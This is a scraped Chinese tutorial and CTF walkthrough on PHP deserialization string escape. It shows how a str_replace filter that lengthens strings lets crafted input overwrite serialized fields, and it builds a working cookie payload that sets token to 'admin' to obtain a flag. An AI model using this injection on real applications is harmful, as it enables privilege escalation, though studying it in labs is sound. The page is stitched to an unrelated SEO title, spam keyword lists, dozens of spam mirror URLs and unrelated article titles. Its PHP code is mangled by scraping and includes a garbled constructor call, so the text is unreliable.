当前位置: 首页 > news >正文

建设网站话术小程序商城排名

建设网站话术,小程序商城排名,建设企业网站对公,做app还是做微网站好首先#xff0c;必须先明白#xff0c;这个点并不难#xff0c;我给大家梳理一遍就会明白。 反序列化字符串逃逸就是序列化过程中逃逸出来字符#xff0c;是不是很简单#xff0c;哈哈哈#xff01; 好了#xff0c;不闹了#xff0c;其实#xff1a; 这里你们只要懂…首先必须先明白这个点并不难我给大家梳理一遍就会明白。 反序列化字符串逃逸就是序列化过程中逃逸出来字符是不是很简单哈哈哈 好了不闹了其实 这里你们只要懂得一个基础 serialize() 函数序列化后可以保留其原始数据类型和结构 而filter() 函数则可以对序列化后的字符串进行过滤例如去除不安全的字符防止代码注入攻击等。具体过滤规则需要根据实际需求来定制。 举个栗子 ?php class user{public $username;public $password;public $BTG;public function __construct($u,$p){$this -username$u;$this -password$p;$this-BTG0;} } $unew user(admin,123456); echo serialize($u); 这里就是最最基础的一个反序列化然后运行得到的结果是 O:4:user:3:{s:8:username;s:5:admin;s:8:password;s:6:123456;s:3:BTG;i:0;} 1.这里在实战中相当于拿到一道题目先拿到最初的反序列化 接下来我在原来的代码上稍微做个字符串逃逸 再强调一次filter() 函数则可以对序列化后的字符串进行过滤例如去除不安全的字符防止代码注入攻击等。具体过滤规则需要根据实际需求来定制。 2修改一下原来代码filter() 函数对序列化后的字符串进行过滤进行字符串逃逸。 ?php class user{public $username;public $password;public $BTG;public function __construct($u,$p){$this -username$u;$this -password$p;$this-BTG0;} }function filter($s){return str_replace(admin,hacker,$s); } $u new user (admin,hacker,$s); $u_serializeserialize($u); $usfilter($u_serialize);//$unew user(admin,123456); //echo serialize($u);echo $us;O:4:user:3:{s:8:username;s:5:admin;s:8:password;s:6:123456;s:3:BTG;i:0;}//最初 O:4:user:3:{s:8:username;s:5:hacker;s:8:password;s:6:123456;s:3:BTG;i:0;}//最新逃逸后 在序列化字符串中s:5:hacker 表示字符串类型的属性值其中 s:5: 表示字符串长度为 5而实际上应该是 6hacker。到这里已经逃逸成功了。这是因为在 filter() 函数中将 admin 替换为 hacker 后字符串长度发生了变化导致序列化字符串中的长度信息不准确。 所以接下来这里我就要把;s:3:BTG;i:0;这里的BTG变成1 代码 ?php class user{public $username;public $password;public $BTG;public function __construct($u,$p){$this -username$u;$this -password$p;$this-BTG0;} }function filter($s){return str_replace(admin,hacker,$s); } $u new user (adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin;s:8:password;s:6:123456;s:3:BTG;i:1;},123456,$s);//这里就是把;s:8:password;s:6:123456;s:3:BTG;i:1;}放进admin里面补齐最后一个字符而已;s:8:password;s:6:123456;s:3:BTG;i:1;}这里有45个字符就直接一共45个admin因为每次逃逸一个字符所以必须重复45次$u_serializeserialize($u); $usfilter($u_serialize);echo($u_serialize); 结果O:4:user:3:{s:8:username;s:270:hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker;s:8:password;s:6:123456;s:3:BTG;i:1;};s:8:password;s:6:123456;s:3:BTG;i:0;}其实就到这里就搞定了如果不放心那就var——dump把反序列化输出出来 验证阶段: ?php class user{public $username;public $password;public $BTG;public function __construct($u,$p){$this -username$u;$this -password$p;$this-BTG0;} }function filter($s){return str_replace(admin,hacker,$s); } $u new user (adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin;s:8:password;s:6:123456;s:3:BTG;i:1;},123456,$s); $u_serializeserialize($u); $usfilter($u_serialize);$objunserialize($us);var_dump($obj); 结果 object(user)#2 (3) {   [username]   string(270) hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker   [password]   string(6) 123456   [BTG]   int(1) } 这里BTG从0变成了1说明你是污染成功了的因为我的原代码里面写死了BTG是0的现在变成了1所以证明反序列化是成功了。 我说现在大家应该都已经懂得反序列化字符串逃逸的一半了不信让我来引导大家做道例题就好了 ?php # message.php error_reporting(0); class message{     public $from;     public $msg;     public $to;     public $tokenuser;     public function __construct($f,$m,$t){         $this-from  $f;         $this-msg  $m;         $this-to  $t;     } } $f  $_GET[f]; $m  $_GET[m]; $t  $_GET[t]; if(isset($f)  isset($m)  isset($t)){     $msg  new message($f,$m,$t);     $umsg  str_replace(fuck, loveU, serialize($msg));     setcookie(msg,base64_encode($umsg));     echo Your message has been sent; } highlight_file(__FILE__); 字符串逃逸特征 $umsg  str_replace(fuck, loveU, serialize($msg)); 做这种题就三步走千万别给自己加戏 第一步先拿到以个正常最初的反序列化 代码如下 ?phpclass message{public $from;public $msg;public $to;public $tokenuser;public function __construct($f,$m,$t){$this-from$f;$this-to$t;}} function filter($msg){return str_replace(fuck,loveU,$msg); } $msgnew message(a,b,c);$msg_1serialize($msg);echo $msg_1;O:7:message:4:{s:4:from;s:1:a;s:3:msg;N;s:2:to;s:1:c;s:5:token;s:4:user;}   第二步使用filter进行一次字符串逃逸。 ?phpclass message{public $from;public $msg;public $to;public $tokenuser;public function __construct($f,$m,$t){$this-from$f;$this-to$t;}} function filter($msg){return str_replace(fuck,loveU,$msg); } $msgnew message(fuck,b,c);$msg_1serialize($msg);$msg_2filter($msg_1);echo $msg_2; O:7:message:4:{s:4:from;s:4:loveU;s:3:msg;s:1:b;s:2:to;s:1:c;s:5:token;s:4:user;}第三步算出要逃逸的次数进行复制输出 s:4:loveU很明显逃逸一个字符因为每次逃逸一个字符;s:3:msg;s:1:b;s:2:to;s:1:c;s:5:token;s:4:user;}这里有62个字符要逃逸所以必须复制61次fuck还有这得改成;s:3:msg;s:1:b;s:2:to;s:1:c;s:5:token;s:5:admin;}因为后面需要admin权限。 简单来说就是把;s:3:msg;s:1:b;s:2:to;s:1:c;s:5:token;s:5:admin;}丢到fuck后面然后根据字符个数复制几次就完成了。 ?phpclass message{public $from;public $msg;public $to;public $tokenuser;public function __construct($f,$m,$t){$this-from$f;$this-msg$m;$this-to$t;}} function filter($msg){return str_replace(fuck,loveU,$msg); } $msgnew message(fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck;s:3:msg;s:1:b;s:2:to;s:1:c;s:5:token;s:5:admin;},b,c);$msg_1serialize($msg);$msg_2filter($msg_1);echo $msg_2; O:7:message:4:{s:4:from;s:310:loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU;s:3:msg;s:1:b;s:2:to;s:1:c;s:5:token;s:5:admin;};s:3:msg;s:1:b;s:2:to;s:1:c;s:5:token;s:4:user;} 搞定了这就完成了如果不放心可以加一步验证因为数很多字符容易出错   也就改一下输出那个这个半分钟就好最终变成了admin说明我们反序列化成功的了。 ?php highlight_file(__FILE__); include(flag.php); class message{     public $from;     public $msg;     public $to;     public $tokenuser;     public function __construct($f,$m,$t){         $this-from  $f;         $this-msg  $m;         $this-to  $t;     } } if(isset($_COOKIE[msg])){     $msg  unserialize(base64_decode($_COOKIE[msg]));     if($msg-tokenadmin){         echo $flag;     } } 这道题目还有一点尾巴这道题目还有一点隐藏代码接下来把fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck;s:3:msg;s:1:b;s:2:to;s:1:c;s:5:token;s:5:admin;}加入道cookie就能拿到flag了 最后的最后再进行一次总结字符串逃逸有三步 1.拿到正常序列化后字符串。这个题目都会给·代码你直接复制然后反序列化就好没什么技术含量 2.使用filter进行一次字符串逃逸。 3.第三步算出要逃逸的次数进行复制输出但是这里一定要提醒大家一下字符串逃逸分为增多和减少苦于篇幅上面我只介绍了一种增多另外一种也是可以使用本方法的只是有些地方要改一下这个等我之后再更新文章 ps记住无论字符串逃逸是增多还是减少都是因为 return str_replace这个玩意替换字符后造成的逃逸。 希望我的文章能够帮助大家谢谢看到这里的各位。
文章转载自:
http://www.morning.fwnqq.cn.gov.cn.fwnqq.cn
http://www.morning.wfpmt.cn.gov.cn.wfpmt.cn
http://www.morning.jfqpc.cn.gov.cn.jfqpc.cn
http://www.morning.kflzy.cn.gov.cn.kflzy.cn
http://www.morning.wbnsf.cn.gov.cn.wbnsf.cn
http://www.morning.wwznd.cn.gov.cn.wwznd.cn
http://www.morning.gxtbn.cn.gov.cn.gxtbn.cn
http://www.morning.wpwyx.cn.gov.cn.wpwyx.cn
http://www.morning.mflhr.cn.gov.cn.mflhr.cn
http://www.morning.dglszn.com.gov.cn.dglszn.com
http://www.morning.ktmbr.cn.gov.cn.ktmbr.cn
http://www.morning.pwppk.cn.gov.cn.pwppk.cn
http://www.morning.qdlnw.cn.gov.cn.qdlnw.cn
http://www.morning.hnrls.cn.gov.cn.hnrls.cn
http://www.morning.rjmg.cn.gov.cn.rjmg.cn
http://www.morning.ycwym.cn.gov.cn.ycwym.cn
http://www.morning.rnwmp.cn.gov.cn.rnwmp.cn
http://www.morning.zttjs.cn.gov.cn.zttjs.cn
http://www.morning.qgfhr.cn.gov.cn.qgfhr.cn
http://www.morning.fpqq.cn.gov.cn.fpqq.cn
http://www.morning.sfyqs.cn.gov.cn.sfyqs.cn
http://www.morning.zmqb.cn.gov.cn.zmqb.cn
http://www.morning.nfnxp.cn.gov.cn.nfnxp.cn
http://www.morning.cjsrg.cn.gov.cn.cjsrg.cn
http://www.morning.mqxzh.cn.gov.cn.mqxzh.cn
http://www.morning.zljqb.cn.gov.cn.zljqb.cn
http://www.morning.hpkgm.cn.gov.cn.hpkgm.cn
http://www.morning.wnwjf.cn.gov.cn.wnwjf.cn
http://www.morning.gxtfk.cn.gov.cn.gxtfk.cn
http://www.morning.gyylt.cn.gov.cn.gyylt.cn
http://www.morning.qmnjn.cn.gov.cn.qmnjn.cn
http://www.morning.krqhw.cn.gov.cn.krqhw.cn
http://www.morning.wslpk.cn.gov.cn.wslpk.cn
http://www.morning.xnkb.cn.gov.cn.xnkb.cn
http://www.morning.kztts.cn.gov.cn.kztts.cn
http://www.morning.fsqbx.cn.gov.cn.fsqbx.cn
http://www.morning.hrtwt.cn.gov.cn.hrtwt.cn
http://www.morning.hhfwj.cn.gov.cn.hhfwj.cn
http://www.morning.fnfhs.cn.gov.cn.fnfhs.cn
http://www.morning.qnbzs.cn.gov.cn.qnbzs.cn
http://www.morning.dskmq.cn.gov.cn.dskmq.cn
http://www.morning.gjsjt.cn.gov.cn.gjsjt.cn
http://www.morning.xrpwk.cn.gov.cn.xrpwk.cn
http://www.morning.xrpwk.cn.gov.cn.xrpwk.cn
http://www.morning.gypcr.cn.gov.cn.gypcr.cn
http://www.morning.fy974.cn.gov.cn.fy974.cn
http://www.morning.kzrbn.cn.gov.cn.kzrbn.cn
http://www.morning.trsmb.cn.gov.cn.trsmb.cn
http://www.morning.yrnyz.cn.gov.cn.yrnyz.cn
http://www.morning.dbylp.cn.gov.cn.dbylp.cn
http://www.morning.smrkf.cn.gov.cn.smrkf.cn
http://www.morning.lwwnq.cn.gov.cn.lwwnq.cn
http://www.morning.nnhfz.cn.gov.cn.nnhfz.cn
http://www.morning.flchj.cn.gov.cn.flchj.cn
http://www.morning.pjxlg.cn.gov.cn.pjxlg.cn
http://www.morning.gtbjf.cn.gov.cn.gtbjf.cn
http://www.morning.mkbc.cn.gov.cn.mkbc.cn
http://www.morning.tqbqb.cn.gov.cn.tqbqb.cn
http://www.morning.hnmbq.cn.gov.cn.hnmbq.cn
http://www.morning.xkjqg.cn.gov.cn.xkjqg.cn
http://www.morning.ckhyj.cn.gov.cn.ckhyj.cn
http://www.morning.pyxtn.cn.gov.cn.pyxtn.cn
http://www.morning.yzdth.cn.gov.cn.yzdth.cn
http://www.morning.qngcq.cn.gov.cn.qngcq.cn
http://www.morning.jlktz.cn.gov.cn.jlktz.cn
http://www.morning.skmzm.cn.gov.cn.skmzm.cn
http://www.morning.sfhjx.cn.gov.cn.sfhjx.cn
http://www.morning.tpnxr.cn.gov.cn.tpnxr.cn
http://www.morning.ntdzjx.com.gov.cn.ntdzjx.com
http://www.morning.jprrh.cn.gov.cn.jprrh.cn
http://www.morning.51meihou.cn.gov.cn.51meihou.cn
http://www.morning.clndl.cn.gov.cn.clndl.cn
http://www.morning.ttaes.cn.gov.cn.ttaes.cn
http://www.morning.gjmbk.cn.gov.cn.gjmbk.cn
http://www.morning.gprzp.cn.gov.cn.gprzp.cn
http://www.morning.yxyyp.cn.gov.cn.yxyyp.cn
http://www.morning.jpgfq.cn.gov.cn.jpgfq.cn
http://www.morning.hilmwmu.cn.gov.cn.hilmwmu.cn
http://www.morning.mhcft.cn.gov.cn.mhcft.cn
http://www.morning.sxygc.cn.gov.cn.sxygc.cn
http://www.tj-hxxt.cn/news/251236.html

相关文章:

  • 网站怎么做充值系统html5 网站布局应用教程
  • 网站建设方案docwordpress模板淘点金
  • 杭州网站开发制作公司定制微信网站
  • 做报名表的网站众安保险
  • 上海金瑞建设集团网站安徽省高路建设有限公司网站
  • 贵州省建设网站网站的专业
  • wordpress通知发帖seo数据分析哪些方面
  • 长沙的互联网网站公司哪家好企业网站建设 百度文库
  • 西宁房地产网站建设网站工作沟通及建设
  • 群晖建设网站厦门网站开发比较大的公司
  • 游戏代理平台哪个好汕头seo优化培训
  • 北京三屏网站制作不备案的网站有那些
  • 通州区网站快速排名方案wordpress搭建超详细
  • 简单个人网站开发代码企业信息公示管理系统山东
  • 冻品网站建设建筑人才网987
  • 做网站一定要虚拟主机吗厦门网站建设680元
  • 网站在哪里天猫店怎么申请
  • 网站优化团队看广告挣钱一天300元
  • 网页设计师常用网站成都中小企业申请网站
  • 网站全局搜索如何做淘宝上有做网站的吗
  • 做网站能挣多少钱网站开通支付宝收款
  • 企业网页模板下载重庆seo是什么
  • 迁安建设局官方网站免费企业名录数据
  • 安宁网站建设熊掌号wordpress免费版能加标签
  • 住房及城乡建设部网站李光辉:营销型企业网站建设的指导思想是什么?
  • 东莞网站设计福田产品设计
  • 太原网站建设加q.479185700海口网站建设
  • 做网站找哪个软件网页制作公司代码
  • 网站搜索引擎优化的内容春节网页制作素材
  • 上海公司网站建设公司甜品网站模板